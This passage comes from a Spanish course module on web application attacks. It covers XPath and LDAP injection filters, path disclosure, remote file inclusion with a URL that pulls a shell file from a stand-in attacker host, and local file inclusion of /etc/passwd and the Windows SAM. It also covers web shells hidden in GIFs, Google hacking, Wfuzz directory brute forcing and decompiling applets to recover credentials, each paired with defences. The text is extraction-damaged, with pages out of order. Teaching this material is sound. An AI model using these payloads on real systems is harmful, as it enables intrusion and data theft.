de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
